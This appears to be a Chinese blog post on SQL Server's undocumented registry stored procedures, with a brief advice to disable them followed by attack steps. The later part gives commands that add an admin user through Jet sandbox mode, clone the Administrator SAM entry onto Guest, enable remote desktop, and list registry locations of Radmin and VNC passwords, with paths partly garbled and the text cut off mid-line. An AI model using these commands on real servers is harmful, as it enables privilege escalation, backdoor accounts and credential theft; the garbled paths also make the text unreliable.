SQL Server中包含了几个可以访问系统注册表的扩展存储过程.但实际上这几个扩展存储过程是未公开的,从sql server 7.0就有了,
在SQL server 2000中仍然保留,他们以后可能会删除.但是这几个存储过程却提供了在当前的SQL Server版本中访问系统注册表的能力,
而且很多人利用SQL Server来进行攻击系统时,往往都会用到这几个扩展存储过程.所以最好在SQL Server中禁用他们.
xp_regenumvalues 以多个记录集方式返回所有键值
使用方法:
xp_regenumvalues 注册表根键, 子键
比如说,想看看HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun 的所有键值:
use master
exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,SOFTWAREMicrosoftWindowsCurrentVersionRun’
xp_regread 返回制定键的值
使用方法:
xp_regread 根键,子键,键值名
use master
exec xp_regread ‘HKEY_LOCAL_MACHINE’,SOFTWAREMicrosoftWindowsCurrentVersion’,CommonFilesDir’
xp_regwrite 写入注册表
使用方法:
xp_regwrite 根键,子键, 值名, 值类型, 值
use master
exec xp_regwrite ‘HKEY_LOCAL_MACHINE’,SOFTWAREMicrosoftWindowsCurrentVersion’,TestValueName’,reg_sz’,hello’
注意值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
xp_regdeleteva lue 删除某个值
使用方法:
xp_regdeleteva lue 根键,子键,值名
use master
exec xp_regdeleteva lue ‘HKEY_LOCAL_MACHINE’,SOFTWAREMicrosoftWindowsCurrentVersion’,TestValueName’
xp_regdeletekey 删除键,包括该键下所有值
使用方法:
use master
xp_regdeletekey ‘HKEY_LOCAL_MACHINE’,SOFTWAREMicrosoftWindowsCurrentVersionTestkey’
MSSQL中主要用到的操作注册表的几个扩展:
xp_regaddmultistring
xp_regdeletekey
xp_regdeleteva lue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
3.首先开启沙盘模式:
exec master..xp_regwrite ’HKEY_LOCAL_MACHINE’’SOFTWAREMicrosoftJet4.0Engines’’SandBoxMode’’REG_DWORD’1
然后利用jet.oledb执行系统命令
select * from openrowset(’microsoft.jet.oledb.4.0’’;database=c:winntsystem32iasias.mdb’’select shell(“cmd.exe /c net user admin admin1234 /add”)’)
――――――――
1.读取终端端口
exec master..xp_regread ‘HKEY_LOCAL_MACHINE’,SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp’,PortNumber’
2.后门思路之扩展――克隆帐号提权(SA)
xp_regread ‘HKEY_LOCAL_MACHINE’,SAMSAMDomainsAccountUsers 00001F4′,’F’
得到对方系统administrator的加密密码,复制一下
xp_regwrite ‘HKEY_LOCAL_MACHINE’, ‘SAMSAMDomainsAccountUsers 00001F5′, ‘F’,REG_BINARY’,0x…(上一步得到的那串字符)
Guest帐户克隆完毕。
3.开启2003的终端(sa)
xp_regwrite ‘HKEY_LOCAL_MACHINE’, ‘SYSTEMCurrentControlSetControlTerminal Server’, ‘fDenyTSConnections’,REG_DWORD’,’0′
4.读取web路径(2000)
exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots’, ‘/’
5.一些网络信息
exec xp_regread ‘HKEY_LOCAL_MACHINE’,SYSTEM/CurrentControlSet/Services/lanmanserver/parameters’,nullsessionshares’
6.
海阳2006+带的一些信息
HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParametersParameter RadminPass
HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParametersPort RadminPort
HKEY_CURRENT_USERSoftwareORLWinVNC3Password VNC3Pass
HKEY_CURRENT_USERSoftwareORLWinVNC3PortNumber VNC3Port
HKEY_LOCAL_MACHINESOFTWARERealVNCWinVNC4Password VNC4Pass
HKEY_LOCAL_MACHINESOFTWARERealVNCWinVNC4PortNumber VNC4Port
HKEY_LOCAL_MACHINESystemCurrentControlSetControlTerminal ServerWdsRepwdTdsTcpPortNumber TerminalPort
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-TcpPortNumber TerminalPort
HKEY_LOCAL_MACHINESOFTWARESymantecpcAnywhereCurrentVersionSystemTCPIPDataPort PcAnyWhereDataPort
HKEY_LOCAL_MACHINESOFTWARESymantecpcAnywhereCurrentVersionSystemTCPIPStatusPort PcAnyWhereStatusPort
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServic